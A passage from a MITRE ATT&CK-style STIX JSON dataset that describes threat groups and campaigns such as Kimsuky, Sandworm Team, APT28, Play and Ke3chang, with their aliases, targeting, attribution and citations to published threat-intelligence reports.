                    "description": "Rapid7. (2026, March 18). 2026 GLOBAL  THREAT LANDSCAPE  REPORT: Decoding the Accelerated Cyber Attack Cycle. Retrieved April 18, 2026.",
                    "url": "https://www.rapid7.com/cdn/assets/bltc1ddd6561ab54a26/69ba67de50ca691edcd3f5b7/rapid7-threat-landscape-report-2026.pdf"
                },
                {
                    "source_name": "Symantec Troll Stealer 2024",
                    "description": "Symantec Threat Hunter Team. (2024, May 16). Springtail: New Linux Backdoor Added to Toolkit. Retrieved January 17, 2025.",
                    "url": "https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage"
                },
                {
                    "source_name": "Securelist Kimsuky Sept 2013",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.",
                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/"
                },
                {
                    "source_name": "ThreatConnect Kimsuky September 2020",
                    "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.",
                    "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/"
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            "modified": "2026-04-23T18:46:50.938Z",
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            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a Democratic People's Republic of Korea (DPRK)-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean state-sponsored cyber espionage actors as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) \n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) was observed using commercial large language models (LLMs) to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)\n\nDPRK threat actor cluster boundaries overlap in open source reporting, with some security researchers consolidating all attributed North Korean state-sponsored cyber activity under [Lazarus Group](https://attack.mitre.org/groups/G0032), rather than tracking operationally distinct subgroups.",
            "aliases": [
                "Kimsuky",
                "Black Banshee",
                "Velvet Chollima",
                "Emerald Sleet",
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                "APT43",
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            "x_mitre_domains": [
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            "created": "2022-09-22T20:07:47.208Z",
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                    "url": "https://attack.mitre.org/campaigns/C0012",
                    "external_id": "C0012"
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                {
                    "source_name": "Cybereason OperationCuckooBees May 2022",
                    "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.",
                    "url": "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"
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            "name": "Operation CuckooBees",
            "description": "[Operation CuckooBees](https://attack.mitre.org/campaigns/C0012) was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012) was conducted by actors affiliated with [Winnti Group](https://attack.mitre.org/groups/G0044), [APT41](https://attack.mitre.org/groups/G0096), and BARIUM.(Citation: Cybereason OperationCuckooBees May 2022)",
            "aliases": [
                "Operation CuckooBees"
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            "first_seen": "2019-12-01T07:00:00.000Z",
            "last_seen": "2022-05-01T06:00:00.000Z",
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            "x_mitre_last_seen_citation": "(Citation: Cybereason OperationCuckooBees May 2022)",
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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            "description": "[Juicy Mix](https://attack.mitre.org/campaigns/C0044) was a campaign conducted by [OilRig](https://attack.mitre.org/groups/G0049) throughout 2022 that targeted Israeli organizations with the [Mango](https://attack.mitre.org/software/S1169) backdoor.(Citation: ESET OilRig Campaigns Sep 2023)",
            "aliases": [
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            "first_seen": "2022-01-01T05:00:00.000Z",
            "last_seen": "2022-12-01T05:00:00.000Z",
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                {
                    "source_name": "ESET OilRig Campaigns Sep 2023",
                    "description": "Hromcova, Z. and Burgher, A. (2023, September 21). OilRig\u2019s Outer Space and Juicy Mix: Same ol\u2019 rig, new drill pipes. Retrieved November 21, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/"
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            "modified": "2024-10-02T05:37:34.149Z",
            "name": "Play",
            "description": "[Play](https://attack.mitre.org/groups/G1040) is a ransomware group that has been active since at least 2022 deploying  [Playcrypt](https://attack.mitre.org/software/S1162) ransomware against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Play](https://attack.mitre.org/groups/G1040) actors employ a double-extortion model, encrypting systems after exfiltrating data, and are presumed by security researchers to operate as a closed group.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)",
            "aliases": [
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
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            "type": "intrusion-set",
            "id": "intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d",
            "created": "2024-09-24T19:48:18.278Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/groups/G1040",
                    "external_id": "G1040"
                },
                {
                    "source_name": "CISA Play Ransomware Advisory December 2023",
                    "description": "CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"
                },
                {
                    "source_name": "Trend Micro Ransomware Spotlight Play July 2023",
                    "description": "Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"
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            "object_marking_refs": [
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            "modified": "2024-12-04T21:17:08.593Z",
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            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)",
            "aliases": [
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            "x_mitre_deprecated": false,
            "x_mitre_version": "4.2",
            "x_mitre_contributors": [
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            "type": "intrusion-set",
            "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "created": "2017-05-31T21:32:04.588Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/groups/G0034",
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                {
                    "source_name": "Voodoo Bear",
                    "description": "(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "ELECTRUM",
                    "description": "(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "Sandworm Team",
                    "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "Quedagh",
                    "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "FROZENBARENTS",
                    "description": "(Citation: Leonard TAG 2023)"
                },
                {
                    "source_name": "APT44",
                    "description": "(Citation: mandiant_apt44_unearthing_sandworm)"
                },
                {
                    "source_name": "IRIDIUM",
                    "description": "(Citation: Microsoft Prestige ransomware October 2022)"
                },
                {
                    "source_name": "Seashell Blizzard",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "BlackEnergy (Group)",
                    "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "Telebots",
                    "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "IRON VIKING",
                    "description": "(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "Leonard TAG 2023",
                    "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.",
                    "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download"
                },
                {
                    "source_name": "Dragos ELECTRUM",
                    "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.",
                    "url": "https://www.dragos.com/resource/electrum/"
                },
                {
                    "source_name": "F-Secure BlackEnergy 2014",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf"
                },
                {
                    "source_name": "iSIGHT Sandworm 2014",
                    "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html"
                },
                {
                    "source_name": "CrowdStrike VOODOO BEAR",
                    "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "Microsoft Prestige ransomware October 2022",
                    "description": "MSTIC. (2022, October 14). New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"
                },
                {
                    "source_name": "InfoSecurity Sandworm Oct 2014",
                    "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.",
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                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
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            "description": "[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)",
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                    "description": "Villadsen, O. (2020, April 7). ITG08 (aka FIN6) Partners With TrickBot Gang, Uses Anchor Framework. Retrieved October 8, 2020.",
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                    "description": "[Patchwork](https://attack.mitre.org/groups/G0040) and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon)"
                },
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                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved November 17, 2024.",
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                    "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved November 17, 2024.",
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                    "source_name": "Symantec Patchwork",
                    "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.",
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                    "source_name": "Unit 42 BackConfig May 2020",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.",
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                    "source_name": "Securelist Dropping Elephant",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
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                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
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                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
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                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
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            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) is a cyber espionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)",
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                    "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)"
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                    "source_name": "Fancy Bear",
                    "description": "(Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)"
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                    "source_name": "Tsar Team",
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                {
                    "source_name": "APT28",
                    "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)"
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                    "source_name": "STRONTIUM",
                    "description": "(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)"
                },
                {
                    "source_name": "FROZENLAKE",
                    "description": "(Citation: Leonard TAG 2023)"
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                {
                    "source_name": "Forest Blizzard",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "GruesomeLarch",
                    "description": "(Citation: Nearest Neighbor Volexity)"
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                {
                    "source_name": "IRON TWILIGHT",
                    "description": "(Citation: Secureworks IRON TWILIGHT Profile)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)"
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                {
                    "source_name": "Threat Group-4127",
                    "description": "(Citation: SecureWorks TG-4127)"
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                {
                    "source_name": "TG-4127",
                    "description": "(Citation: SecureWorks TG-4127)"
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                {
                    "source_name": "Pawn Storm",
                    "description": "(Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) "
                },
                {
                    "source_name": "Swallowtail",
                    "description": "(Citation: Symantec APT28 Oct 2018)"
                },
                {
                    "source_name": "Group 74",
                    "description": "(Citation: Talos Seduploader Oct 2017)"
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50"
                },
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                },
                {
                    "source_name": "Leonard TAG 2023",
                    "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.",
                    "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download"
                },
                {
                    "source_name": "GRIZZLY STEPPE JAR",
                    "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"
                },
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                },
                {
                    "source_name": "Sofacy DealersChoice",
                    "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"
                },
                {
                    "source_name": "FireEye APT28 January 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf"
                },
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "source_name": "Ars Technica GRU indictment Jul 2018",
                    "description": "Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.",
                    "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/"
                },
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html"
                },
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "Nearest Neighbor Volexity",
                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
                },
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
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                    "source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020",
                    "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.",
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                    "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.",
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                    "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.",
                    "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"
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                    "source_name": "NSA/FBI Drovorub August 2020",
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                    "source_name": "Secureworks IRON TWILIGHT Active Measures March 2017",
                    "description": "Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.",
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                    "source_name": "Secureworks IRON TWILIGHT Profile",
                    "description": "Secureworks CTU. (n.d.). IRON TWILIGHT. Retrieved February 28, 2022.",
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                    "source_name": "Symantec APT28 Oct 2018",
                    "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.",
                    "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government"
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                    "description": "This designation has been used in reporting both to refer to the threat group and its associated malware [JHUHUGIT](https://attack.mitre.org/software/S0044).(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018)"
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                    "source_name": "Sofacy",
                    "description": "This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)"
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            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)",
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                "Mirage",
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                "Manikantan Srinivasan, NEC Corporation India",
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                    "source_name": "RoyalAPT",
                    "description": "(Citation: APT15 Intezer June 2018)"
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                    "source_name": "NICKEL",
                    "description": "(Citation: Microsoft NICKEL December 2021)"
                },
                {
                    "source_name": "Nylon Typhoon",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
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                    "source_name": "APT15",
                    "description": "(Citation: NCC Group APT15 Alive and Strong)"
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                    "source_name": "Mirage",
                    "description": "(Citation: NCC Group APT15 Alive and Strong)"
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                    "source_name": "GREF",
                    "description": "(Citation: NCC Group APT15 Alive and Strong)"
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                    "source_name": "Vixen Panda",
                    "description": "(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)"
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                    "source_name": "Playful Dragon",
                    "description": "(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)"
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                    "source_name": "Ke3chang",
                    "description": "(Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)"
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                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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                    "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022.",
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                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
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                    "source_name": "Mandiant Operation Ke3chang November 2014",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
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                    "source_name": "Villeneuve et al 2014",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
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                    "description": "(Citation: McAfee Honeybee)"
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                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
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                    "source_name": "Vanguard Panda",
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                    "description": "(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)"
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                    "source_name": "CISA AA24-038A PRC Critical Infrastructure February 2024",
                    "description": "CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.",
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                    "source_name": "Secureworks BRONZE SILHOUETTE May 2023",
                    "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.",
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                    "source_name": "Dragos 2025 Year in Review",
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                    "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.",
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                    "source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023",
                    "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.",
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                    "description": "US Department of Justice. (2024, January 31). U.S. Government Disrupts Botnet People\u2019s Republic of China Used to Conceal Hacking of Critical Infrastructure. Retrieved June 10, 2024.",
